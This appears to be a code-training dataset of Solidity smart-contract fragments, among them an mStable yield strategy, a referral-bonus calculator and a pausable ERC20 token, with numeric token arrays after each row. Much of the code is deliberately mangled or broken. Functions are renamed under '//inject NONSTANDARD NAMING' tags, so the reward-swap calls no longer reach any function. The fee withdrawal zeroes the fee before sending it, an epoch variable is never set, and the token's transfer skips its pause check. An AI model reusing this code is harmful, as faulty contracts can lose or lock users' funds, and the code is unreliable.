uint256 public constant performance_fee63 = 500; // 5% //inject NONSTANDARD NAMING
uint256 public constant denom43 = 10000; //inject NONSTANDARD NAMING
uint256 public hurdleLastUpdateTime;
uint256 public harvestAmountThisEpoch;
uint256 public strategistCollectedFee;
uint256 public numPools = 1;
ierc2080 internal usdc = ierc2080(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
ierc2080 internal musd = ierc2080(0xe2f2a5C287993345a840Db3B0845fbC70f5935a5);
ierc2080 internal mta = ierc2080(0xa3BeD4E1c75D00fa6f4E5E6922DB7261B5E9AcD2);
ibpt3 internal musdcBpt = ibpt3(0x72Cd8f4504941Bf8c5a21d1Fd83A96499FD71d2C);
swaprouter18 public swapRouter = swaprouter18(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
impool6 internal mPool = impool6(0x881c72D1e6317f10a1cDCBe05040E7564E790C80);
imtagov79 internal mtaGov = imtagov79(0xaE8bC96DA4F9A9613c323478BE181FDb2Aa0E1BF);
ierc2080 public want = usdc; // should be set only in constructor or hardcoded
icontroller20 public controller; // should be set only in constructor
address public strategist; // mutable, but only by strategist
// want must be equal to an underlying vault token (Eg. USDC)
constructor(icontroller20 _controller) public {
controller = _controller;
strategist = msg.sender;
}
function GETNAME35() external pure returns (string memory) { //inject NONSTANDARD NAMING
return "MstableStrategy";
}
function SETSTRATEGIST71(address _strategist) external { //inject NONSTANDARD NAMING
require(msg.sender == strategist, "!strategist");
strategist = _strategist;
}
function SETNUMPOOLSFORSWAP74(uint256 _numPools) external { //inject NONSTANDARD NAMING
require(msg.sender == strategist, "!strategist");
numPools = _numPools;
}
function SETALLOWANCES18(ierc2080 token, address[] calldata recipients, bool isIncrease) external { //inject NONSTANDARD NAMING
require(msg.sender == strategist, "!strategist");
for (uint i = 0; i < recipients.length; i++) {
require(
recipients[i] == address(musdcBpt) ||
recipients[i] == address(swapRouter) ||
recipients[i] == address(mPool) ||
recipients[i] == address(mtaGov),
"bad recipient"
);
uint256 allowance = isIncrease ? uint256(-1) : 0;
token.SAFEAPPROVE5(recipients[i], allowance);
}
}
// Assumed that caller checks against available funds in vault
function DEPOSIT94(uint256 amount) public { //inject NONSTANDARD NAMING
uint256 availFunds = controller.ALLOWABLEAMOUNT15(address(this));
require(amount <= availFunds, "exceed contAllowance");
controller.EARN37(address(this), amount);
// deposit into musdcBpt
uint256 bptTokenAmt = musdcBpt.JOINSWAPEXTERNAMOUNTIN73(address(want), amount, 0);
// deposit into mstable pool
mPool.STAKE12(bptTokenAmt);
// deposit any MTA token in this contract into mStaking contract
DEPOSITMTAINSTAKING28();
}
function BALANCEOF3() external view returns (uint256) { //inject NONSTANDARD NAMING
// get balance in mPool
uint256 bptStakeAmt = mPool.BALANCEOF3(address(this));
// get usdc + musd amts in BPT, and total BPT
uint256 usdcAmt = usdc.BALANCEOF3(address(musdcBpt));
uint256 musdAmt = musd.BALANCEOF3(address(musdcBpt));
uint256 totalBptAmt = musdcBpt.TOTALSUPPLY74();
// convert musd to usdc
usdcAmt = usdcAmt.ADD14(
musdAmt.MUL41(1e18).DIV62(musdcBpt.GETSPOTPRICE26(address(musd), address(usdc)))
);
return bptStakeAmt.MUL41(usdcAmt).DIV62(totalBptAmt);
}
function EARNED23() external view returns (uint256) { //inject NONSTANDARD NAMING
(uint256 earnedAmt,) = mPool.EARNED23(address(this));
return earnedAmt.ADD14(mtaGov.EARNED23(address(this)));
}
function WITHDRAW24(address token) external { //inject NONSTANDARD NAMING
ierc2080 erc20Token = ierc2080(token);
require(msg.sender == address(controller), "!controller");
erc20Token.SAFETRANSFER62(address(controller), erc20Token.BALANCEOF3(address(this)));
}
function WITHDRAW24(uint256 amount) external { //inject NONSTANDARD NAMING
require(msg.sender == address(controller), "!controller");
// exit fully
mPool.EXIT39();
// convert to desired amount
musdcBpt.EXITSWAPEXTERNAMOUNTOUT85(address(want), amount, uint256(-1));
// deposit whatever remaining bpt back into mPool
mPool.STAKE12(musdcBpt.BALANCEOF3(address(this)));
// send funds to vault
want.SAFETRANSFER62(address(controller.VAULT69(address(want))), amount);
}
function WITHDRAWALL24() external returns (uint256 balance) { //inject NONSTANDARD NAMING
require(msg.sender == address(controller), "!controller");
// exit fully
mPool.EXIT39();
// convert reward to want tokens
// in case swap fails, continue
(bool success, ) = address(this).call(
abi.encodeWithSignature(
"exchangeRewardForWant(bool)",
true
)
);
// to remove compiler warning
success;
// convert bpt to want tokens
musdcBpt.EXITSWAPPOOLAMOUNTIN6(
address(want),
musdcBpt.BALANCEOF3(address(this)),
0
);
// exclude collected strategist fee
balance = want.BALANCEOF3(address(this)).SUB75(strategistCollectedFee);
// send funds to vault
want.SAFETRANSFER62(address(controller.VAULT69(address(want))), balance);
}
function HARVEST87(bool claimMPool, bool claimGov) external { //inject NONSTANDARD NAMING
if (claimMPool) mPool.CLAIMREWARD81();
if (claimGov) mtaGov.CLAIMREWARD81();
// convert 80% reward to want tokens
// in case swap fails, return
(bool success, ) = address(this).call(
abi.encodeWithSignature(
"exchangeRewardForWant(bool)",
false
)
);
// to remove compiler warning
if (!success) return;
uint256 amount = want.BALANCEOF3(address(this)).SUB75(strategistCollectedFee);
uint256 vaultRewardPercentage;
uint256 hurdleAmount;
uint256 harvestPercentage;
uint256 epochTime;
(vaultRewardPercentage, hurdleAmount, harvestPercentage) =
controller.GETHARVESTINFO14(address(this), msg.sender);
// check if harvest amount has to be reset
if (hurdleLastUpdateTime < epochTime) {
// reset collected amount
harvestAmountThisEpoch = 0;
}
// update variables
hurdleLastUpdateTime = block.timestamp;
harvestAmountThisEpoch = harvestAmountThisEpoch.ADD14(amount);
// first, take harvester fee
uint256 harvestFee = amount.MUL41(harvestPercentage).DIV62(denom43);
want.SAFETRANSFER62(msg.sender, harvestFee);
uint256 fee;
// then, if hurdle amount has been exceeded, take performance fee
if (harvestAmountThisEpoch >= hurdleAmount) {
fee = amount.MUL41(performance_fee63).DIV62(denom43);
strategistCollectedFee = strategistCollectedFee.ADD14(fee);
}
// do the subtraction of harvester and strategist fees
amount = amount.SUB75(harvestFee).SUB75(fee);
// calculate how much is to be re-invested
// fee = vault reward amount, reusing variable
fee = amount.MUL41(vaultRewardPercentage).DIV62(denom43);
want.SAFETRANSFER62(address(controller.REWARDS0(address(want))), fee);
controller.REWARDS0(address(want)).NOTIFYREWARDAMOUNT2(fee);
amount = amount.SUB75(fee);
// finally, use remaining want amount for reinvestment
amount = musdcBpt.JOINSWAPEXTERNAMOUNTIN73(address(want), amount, 0);
// deposit into mstable pool
mPool.STAKE12(amount);
// deposit any MTA token in this contract into mStaking contract
DEPOSITMTAINSTAKING28();
}
function WITHDRAWSTRATEGISTFEE97() external { //inject NONSTANDARD NAMING
strategistCollectedFee = 0;
want.SAFETRANSFER62(strategist, strategistCollectedFee);
}
function EXITMGOV72() external { //inject NONSTANDARD NAMING
mtaGov.WITHDRAW24();
// convert to want tokens
// in case swap fails, continue
(bool success, ) = address(this).call(
abi.encodeWithSignature(
"exchangeRewardForWant(bool)",
true
)
);
// to remove compiler warning
success;
want.SAFETRANSFER62(
address(controller.REWARDS0(address(want))),
want.BALANCEOF3(address(this)).SUB75(strategistCollectedFee)
);
}
function EXCHANGEREWARDFORWANT67(bool exchangeAll) public { //inject NONSTANDARD NAMING
uint256 swapAmt = mta.BALANCEOF3(address(this));
if (swapAmt == 0) return;
// do the exchange
address[] memory routeDetails = new address[](3);
routeDetails[0] = address(mta);
routeDetails[1] = swapRouter.WETH90();
routeDetails[2] = address(want);
swapRouter.SWAPEXACTTOKENSFORTOKENS91(
exchangeAll ? swapAmt : swapAmt.MUL41(8000).DIV62(denom43),
0,
routeDetails,
address(this),
block.timestamp + 100
);
}
function DEPOSITMTAINSTAKING28() internal { //inject NONSTANDARD NAMING
uint256 mtaBal = mta.BALANCEOF3(address(this));
if (mtaBal == 0) return;
if (mtaGov.BALANCEOF3(address(this)) == 0) {
// create lock with max time
mtaGov.CREATELOCK73(mtaBal, 1632580257);
} else {
// increase amount
mtaGov.INCREASELOCKAMOUNT91(mtaBal);
}
}
}
|
should be set only in constructor
|
icontroller20 public controller;
| 1,825,138 |
[
1,
13139,
506,
444,
1338,
316,
3885,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
277,
5723,
3462,
1071,
2596,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x069cFFfE50f3f34b56853147B0117E7Dc2fBcC0c/sources/contracts/MyContract_v7.sol
|
uint256 bonusReferrals = userReferralCount[_inviter][_tokenId] >= requiredRefsNumber ? userReferralCount[_inviter][_tokenId]-requiredRefsNumber : 0;
|
function calculateBonusRefs(uint256 _tokenId, address _inviter) internal {
uint256 referals = userReferralCount[_inviter][_tokenId];
uint256 paid = referralsPaid[_inviter][_tokenId];
uint256 unpaidReferrals = referals - paid;
uint256[] memory increments = new uint256[](3);
increments[1] = 0;
increments[2] = 2e12;
increments[0] = 7e12;
uint256 incrementingBonus = 0;
if(referals<=3)
{
if(referals==2)
if(referals==3)
}
else
{
incrementingBonus = increments[unpaidReferrals%3];
}
uint256 mult = 10**(_tokenId-4);
if(referals==1)
{
userPotentialOutput[_inviter][_tokenId]= mult * incrementingBonus;
totalPotentialOutput[_tokenId]= mult * incrementingBonus;
}
else
{
userPotentialOutput[_inviter][_tokenId]+= mult * incrementingBonus;
totalPotentialOutput[_tokenId]+= mult * incrementingBonus;
}
}
| 5,565,788 |
[
1,
11890,
5034,
324,
22889,
1957,
370,
1031,
273,
729,
1957,
29084,
1380,
63,
67,
5768,
2165,
6362,
67,
2316,
548,
65,
1545,
1931,
9837,
1854,
692,
729,
1957,
29084,
1380,
63,
67,
5768,
2165,
6362,
67,
2316,
548,
65,
17,
4718,
9837,
1854,
294,
374,
31,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
4604,
38,
22889,
9837,
12,
11890,
5034,
389,
2316,
548,
16,
1758,
389,
5768,
2165,
13,
2713,
288,
203,
203,
3639,
2254,
5034,
8884,
1031,
273,
729,
1957,
29084,
1380,
63,
67,
5768,
2165,
6362,
67,
2316,
548,
15533,
7010,
3639,
2254,
5034,
30591,
273,
1278,
370,
1031,
16507,
350,
63,
67,
5768,
2165,
6362,
67,
2316,
548,
15533,
203,
3639,
2254,
5034,
640,
29434,
1957,
370,
1031,
273,
8884,
1031,
300,
30591,
31,
203,
540,
203,
3639,
2254,
5034,
8526,
3778,
17071,
273,
394,
2254,
5034,
8526,
12,
23,
1769,
203,
3639,
17071,
63,
21,
65,
273,
374,
31,
203,
3639,
17071,
63,
22,
65,
273,
576,
73,
2138,
31,
203,
3639,
17071,
63,
20,
65,
273,
2371,
73,
2138,
31,
203,
540,
203,
3639,
2254,
5034,
5504,
310,
38,
22889,
273,
374,
31,
7010,
203,
3639,
309,
12,
266,
586,
1031,
32,
33,
23,
13,
203,
3639,
288,
203,
5411,
309,
12,
266,
586,
1031,
631,
22,
13,
203,
5411,
309,
12,
266,
586,
1031,
631,
23,
13,
203,
3639,
289,
203,
3639,
469,
203,
3639,
288,
203,
5411,
5504,
310,
38,
22889,
273,
17071,
63,
318,
29434,
1957,
370,
1031,
9,
23,
15533,
203,
3639,
289,
203,
3639,
2254,
5034,
1778,
273,
1728,
636,
24899,
2316,
548,
17,
24,
1769,
203,
203,
3639,
309,
12,
266,
586,
1031,
631,
21,
13,
203,
3639,
288,
203,
5411,
729,
24947,
1447,
63,
67,
5768,
2165,
6362,
67,
2316,
548,
65,
33,
1778,
380,
5504,
310,
38,
22889,
31,
203,
5411,
2078,
2
] |
./full_match/100/0x2327dB49Af92d468F00127AA9037334CFed3CB38/sources/contracts/TokenSale.sol
|
check if our balance of tokenToSell >= the amount being purchased right now.
|
uint256 ourBalance = tokenToSell.balanceOf(address(this));
| 14,291,229 |
[
1,
1893,
309,
3134,
11013,
434,
1147,
774,
55,
1165,
1545,
326,
3844,
3832,
5405,
343,
8905,
2145,
2037,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
2254,
5034,
3134,
13937,
273,
1147,
774,
55,
1165,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
//搜了币
pragma solidity ^0.4.18;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event PausePublic(bool newState);
event PauseOwnerAdmin(bool newState);
bool public pausedPublic = true;
bool public pausedOwnerAdmin = false;
address public admin;
/**
* @dev Modifier to make a function callable based on pause states.
*/
modifier whenNotPaused() {
if(pausedPublic) {
if(!pausedOwnerAdmin) {
require(msg.sender == admin || msg.sender == owner);
} else {
revert();
}
}
_;
}
/**
* @dev called by the owner to set new pause flags
* pausedPublic can't be false while pausedOwnerAdmin is true
*/
function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public {
require(!(newPausedPublic == false && newPausedOwnerAdmin == true));
pausedPublic = newPausedPublic;
pausedOwnerAdmin = newPausedOwnerAdmin;
PausePublic(newPausedPublic);
PauseOwnerAdmin(newPausedOwnerAdmin);
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract SOLEToken is PausableToken {
string public constant name = "搜了";
string public constant symbol = "SOLE";
uint8 public constant decimals = 7;
modifier validDestination( address to )
{
require(to != address(0x0));
require(to != address(this));
_;
}
function SOLEToken( address _admin, uint _totalTokenAmount )
{
// assign the admin account
admin = _admin;
uint256 totalCount = _totalTokenAmount*10**uint256(decimals);
totalSupply = totalCount;
balances[msg.sender] =totalCount;
Transfer(address(0x0), msg.sender,totalCount);
}
function transfer(address _to, uint _value) validDestination(_to) returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value) returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
// save some gas by making only one contract call
function burnFrom(address _from, uint256 _value) returns (bool)
{
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner {
// owner can drain tokens that are sent here by mistake
token.transfer( owner, amount );
}
event AdminTransferred(address indexed previousAdmin, address indexed newAdmin);
function changeAdmin(address newAdmin) onlyOwner {
// owner can re-assign the admin
AdminTransferred(admin, newAdmin);
admin = newAdmin;
}
}
|
owner can drain tokens that are sent here by mistake
|
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner {
token.transfer( owner, amount );
}
event AdminTransferred(address indexed previousAdmin, address indexed newAdmin);
| 34,608 |
[
1,
8443,
848,
15427,
2430,
716,
854,
3271,
2674,
635,
27228,
911,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
